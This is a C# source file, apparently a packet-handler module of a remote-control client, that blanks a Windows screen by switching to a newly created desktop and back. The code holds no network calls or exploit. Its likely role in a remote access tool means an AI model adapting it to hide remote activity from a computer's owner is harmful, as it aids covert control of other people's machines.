72 lines
2.8 KiB
C#
72 lines
2.8 KiB
C#
using System;
|
|
using System.Collections.Generic;
|
|
using System.Linq;
|
|
using System.Runtime.InteropServices;
|
|
using System.Text;
|
|
|
|
namespace Client.Handle_Packet
|
|
{
|
|
class HandleBlankScreen
|
|
{
|
|
[DllImport("user32.dll")]
|
|
public static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa);
|
|
|
|
[DllImport("user32.dll")]
|
|
private static extern bool SwitchDesktop(IntPtr hDesktop);
|
|
|
|
[DllImport("user32.dll")]
|
|
public static extern bool CloseDesktop(IntPtr handle);
|
|
|
|
[DllImport("user32.dll")]
|
|
public static extern bool SetThreadDesktop(IntPtr hDesktop);
|
|
|
|
[DllImport("user32.dll")]
|
|
public static extern IntPtr GetThreadDesktop(int dwThreadId);
|
|
|
|
[DllImport("kernel32.dll")]
|
|
public static extern int GetCurrentThreadId();
|
|
enum DESKTOP_ACCESS : uint
|
|
{
|
|
DESKTOP_NONE = 0,
|
|
DESKTOP_READOBJECTS = 0x0001,
|
|
DESKTOP_CREATEWINDOW = 0x0002,
|
|
DESKTOP_CREATEMENU = 0x0004,
|
|
DESKTOP_HOOKCONTROL = 0x0008,
|
|
DESKTOP_JOURNALRECORD = 0x0010,
|
|
DESKTOP_JOURNALPLAYBACK = 0x0020,
|
|
DESKTOP_ENUMERATE = 0x0040,
|
|
DESKTOP_WRITEOBJECTS = 0x0080,
|
|
DESKTOP_SWITCHDESKTOP = 0x0100,
|
|
|
|
GENERIC_ALL = (DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW | DESKTOP_CREATEMENU |
|
|
DESKTOP_HOOKCONTROL | DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK |
|
|
DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS | DESKTOP_SWITCHDESKTOP),
|
|
}
|
|
|
|
// old desktop's handle, obtained by getting the current desktop assigned for this thread
|
|
static readonly IntPtr hOldDesktop = GetThreadDesktop(GetCurrentThreadId());
|
|
|
|
// new desktop's handle, assigned automatically by CreateDesktop
|
|
static IntPtr hNewDesktop = CreateDesktop("RandomDesktopName", IntPtr.Zero, IntPtr.Zero, 0, (uint)DESKTOP_ACCESS.GENERIC_ALL, IntPtr.Zero);
|
|
|
|
public static bool switcher = false; //the screen is not blanked be default so this should be false
|
|
public static void RunBlankScreen()
|
|
{
|
|
//light switch logic CopyPasta by MrDevBot
|
|
|
|
if (switcher == false) //The current screen is NOT blanked and needs to be
|
|
{
|
|
SwitchDesktop(hNewDesktop);
|
|
switcher = true; //sets the switch to on for next click
|
|
return; //returns to calling function
|
|
}
|
|
else //the screen is blanked and should be switched back to old
|
|
{
|
|
SwitchDesktop(hOldDesktop);
|
|
switcher = false; //sets the switch to off for next click
|
|
return; //returns to calling function
|
|
}
|
|
}
|
|
}
|
|
}
|